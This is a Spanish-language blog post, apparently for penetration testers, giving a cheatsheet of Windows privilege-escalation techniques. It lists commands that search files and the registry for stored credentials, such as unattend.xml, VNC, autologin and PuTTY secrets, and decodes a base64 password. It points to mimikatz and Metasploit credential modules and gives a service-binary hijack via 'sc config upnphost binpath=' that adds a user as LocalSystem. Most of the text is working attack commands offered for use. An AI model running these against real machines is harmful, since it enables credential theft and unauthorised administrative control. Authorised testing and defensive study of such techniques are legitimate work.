Cheatsheet para el escalado de privilegios en Windows

En un test de intrusión de una máquina Windows muchas veces conseguimos una consola con un usuario sin privilegios, sobretodo en entornos Citrix o similares. La siguiente tarea en este caso suele ser conseguir acceso como system o con otra cuenta con privilegios de administración o, al menos, más elevados.

Existen multitud de técnicas más o menos efectivas dependiendo los "descuidos" de los administradores, los fallos de configuración, las vulnerabilidades y de lo actualizado que esté el software de la máquina objetivo. Os recomiendo concretamente leeros este artículo de Scott Sutherland y sobretodo esta presentación de insomniasec.com, de la que nuestro amigo Tim Arneaud ha tomado muchas cosas para elaborar un cheatsheet bastante esquemático que a la postre es muy útil y que también queríamos tener a mano.

Esta lista la iremos ampliando según vayamos encontrado nuevas técnicas y funcionalidades. Como siempre, cualquier comentario, sugerencia o feedback son bienvenidos.

------------------------------------------------------------------------------------------------------

Credenciales almacenadas

Buscar credenciales dentro de:

c:\unattend.xml
Estas credenciales están almacenadas en base64 y pueden decodificarse fácilmente:
user@host $ base64 -d cABhAHMAcwB3AG8AcgBkAFAAYQBzAHMAdwBvAHIAZAA=

Módulos de Metasploit Framework:
http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/enum_unattend.rb
http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/gather/credentials/gpp.rb

c:\sysprep.inf
c:\sysprep\sysprep.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini

findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini

Programas de recuperación de contraseñas - small - RDP, Mail, IE, VNC, Dialup, Protected Storage...
http://www.nirsoft.net/password_recovery_tools.html

Obtener credenciales en texto plano con mimikatz
http://pauldotcom.com/2012/02/dumping-cleartext-credentials.html

------------------------------------------------------------------------------------------------------
Búsquedas en el registro de Windows

VNC:
reg query "HKCU\Software\ORL\WinVNC3\Password"

Windows Autologin:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

Parámetros SNMP:
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

Putty:
reg query" HKCU\Software\SimonTatham\PuTTY\Sessions"

Búsquedas en el registro - portapapeles (opcional)
reg query HKLM /f password /t REG_SZ /s [ |clip]
reg query HKCU /f password /t REG_SZ /s [ |clip]

------------------------------------------------------------------------------------------------------
Aplicaciones GUI inseguras

Ejecutándose como SYSTEM que puedan abrir cmd.exe o directorios "ficheros, logs" etc.

------------------------------------------------------------------------------------------------------
Permisos de directorios
cacls
icacls

------------------------------------------------------------------------------------------------------
Herramientas de Sysinternals

Comprobar procesos y aplicaciones que se ejecutan en el inicio con Autoruns y procmon - sysinternals.com
http://technet.microsoft.com/en-us/sysinternals/bb545027

Servicios apuntando a localizaciones escribibles
*- instalaciones huérfanas - aplicaciones que ya no están instaladas pero que permanecen en el inicio
*- reemplazo de dlls desconocidas
*- Rutas de directorios con permisos inadecuados - ¿posible sobreescritura?

sysinternals tools
accesschk.exe -uwcqv *

*- procesos inseguros
*- robo de tokens de procesos/threads (incognito)
*- hijack handles for write access

------------------------------------------------------------------------------------------------------
Cambio del binario de servicio upnp
http://lanmaster53.com

sc qc upnphost sc config upnphost binpath= "net user /add"
sc config upnphost obj= ".\LocalSystem" password =""
net stop upnphost
net start upnphost

Esto puede funciona con otros servicios si los permisos lo permiten

------------------------------------------------------------------------------------------------------

Programas para comprobar vectores de escalado de privilegios en Windows:

1. Windows-privesc-check ( V1 , V2 )

2. AccessChk

3. AccessEnum

4. Windows Permission Identifier

5. Dark Elevator - hxxp://web.archive.org/web/20100817073927/http://root.net.nz/darkelevator.html